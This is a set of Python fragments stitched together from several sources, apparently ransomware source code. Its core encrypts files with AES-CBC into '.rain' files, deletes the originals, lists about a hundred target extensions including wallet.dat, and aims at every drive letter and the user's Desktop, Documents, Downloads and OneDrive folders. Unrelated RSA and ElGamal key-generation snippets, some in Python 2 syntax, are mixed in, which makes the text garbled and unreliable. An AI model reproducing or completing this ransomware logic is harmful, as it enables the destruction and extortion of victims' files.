def main_generate(): from Crypto.Random import new from sys import stderr randfunc = new().read def process_func(msg): stderr.write("%s" % (msg,)) stderr.flush() C = generate(2048, randfunc, process_func) print C print C.p, C.g, C.y, C.x
def __crypt_file(self, file: str, chunksize=64 * 2048) -> None: """ Encrypts a file using AES CBC encryption mode and the "pack" function. The encrypted content is saved in a file of the same name with the extension "rain", which also contains its original version in the first characters (see line 54). Deletes the original file from the system. NOTE: Should only be used by the "crypt_directory" method. Parameters ---------- file : str Path to the file to be encrypted chunksize: int Sets the size of the chunk which the function uses to read and encrypt the file. Larger chunk sizes can be faster for some files and machines. chunksize must be divisible by 16. Return ---------- None """ out_file = splitext(file)[0] + '.rain' ext = (splitext(file)[1].strip('.') + '.').encode() fsz = getsize(file) iv = new().read(AES.block_size) encryptor = AES.new(self.__key, AES.MODE_CBC, iv) with open(out_file, 'wb') as encrypted: encrypted.write(ext) encrypted.write(pack('<Q', fsz)) encrypted.write(iv) with open(file, 'rb') as original: while True: data = original.read(chunksize) n = len(data) if n == 0: break elif n % 16 != 0: data += b' ' * (16 - n % 16) dataenc = encryptor.encrypt(data) encrypted.write(dataenc) remove(file)
def crypt_file(self, file: str, chunksize=64 * 2048): # Encrypt a file using AES CBC MODE with the given key out_file = splitext(file)[0] + self.out_ext ext = (splitext(file)[1].strip('.') + '.').encode() fsz = getsize(file) iv = new().read(AES.block_size) encryptor = AES.new(self.key, AES.MODE_CBC, iv) with open(out_file, 'wb') as encrypted: encrypted.write(ext) encrypted.write(pack('<Q', fsz)) encrypted.write(iv) with open(file, 'rb') as original: while True: data = original.read(chunksize) n = len(data) if n == 0: break elif n % 16 != 0: data += b' ' * (16 - n % 16) dataenc = encryptor.encrypt(data) encrypted.write(dataenc) remove(file) return 0
def __init__(self): self.__private_key = RSA.generate(4096, new().read) self.public_key = self.__private_key.publickey() self.signer = PKCS1_v1_5.new(self.__private_key) self.communicator = PKCS1_OAEP.new(self.__private_key)
def generate_key(self, key_length): "Generate private and public key for RSA encrypting." random_generator = new().read self.private_key = RSA.generate(1024, random_generator) self.public_key = self.private_key.publickey() self.pk = self.public_key.exportKey()
def __init__(self) -> None: self.__key = new().read(32) # Generates a 32-byte random key self.__save_randomkey()
'*.tbk', '*.bak', '*.djv', '*.djvu', '*.bmp', '*.cgm', '*.tif', '*.tiff', '*.NEF', '*.cmd', '*.class', '*.jar', '*.java', '*.asp', '*.brd', '*.sch', '*.dch', '*.dip', '*.vbs', '*.asm', '*.pas', '*.ldf', '*.ibd', '*.MYI', '*.MYD', '*.frm', '*.dbf', '*.SQLITEDB', '*.SQLITE3', '*.asc', '*.lay6', '*.lay', '*.ms11 (Security copy)', '*.sldm', '*.sldx', '*.ppsm', '*.ppsx', '*.ppam', '*.docb', '*.mml', '*.sxm', '*.otg', '*.slk', '*.xlw', '*.xlt', '*.xlm', '*.xlc', '*.dif', '*.stc', '*.sxc', '*.ots', '*.ods', '*.hwp', '*.dotm', '*.dotx', '*.docm', '*.DOT', '*.max', '*.xml', '*.uot', '*.stw', '*.sxw', '*.ott', '*.csr', '*.key', 'wallet.dat', '*.veg', '*.application', '*.lnk', '*.bitmap', '*.gif', '*.chc', '*.ogg', '*.json', '*.real', '*.xz', '*.nrg', '*.xvf', '*.xvfz', '*.tmp', '*.sublime-package', '*.img', '*.bg2', '*.qxd', '*.new', '*.ico', '*.pps', '*.pic', '*.iso', '*.rm', '*.dxf', '*.so', '*.appref-ms', '*.desktop', '*.list' ] passwd = new().read(32) img = '../../Util/Images/rain.jpg' drives = [] for letter in list(ascii_uppercase): letter = letter + ':' drives.append(letter) # Instantiate the Crypt class crypto = Crypt(passwd, exts, img) desktop = expanduser('~/Desktop') documents = expanduser('~/Documents') downloads = expanduser('~/Downloads') onedrive = expanduser('~/OneDrive')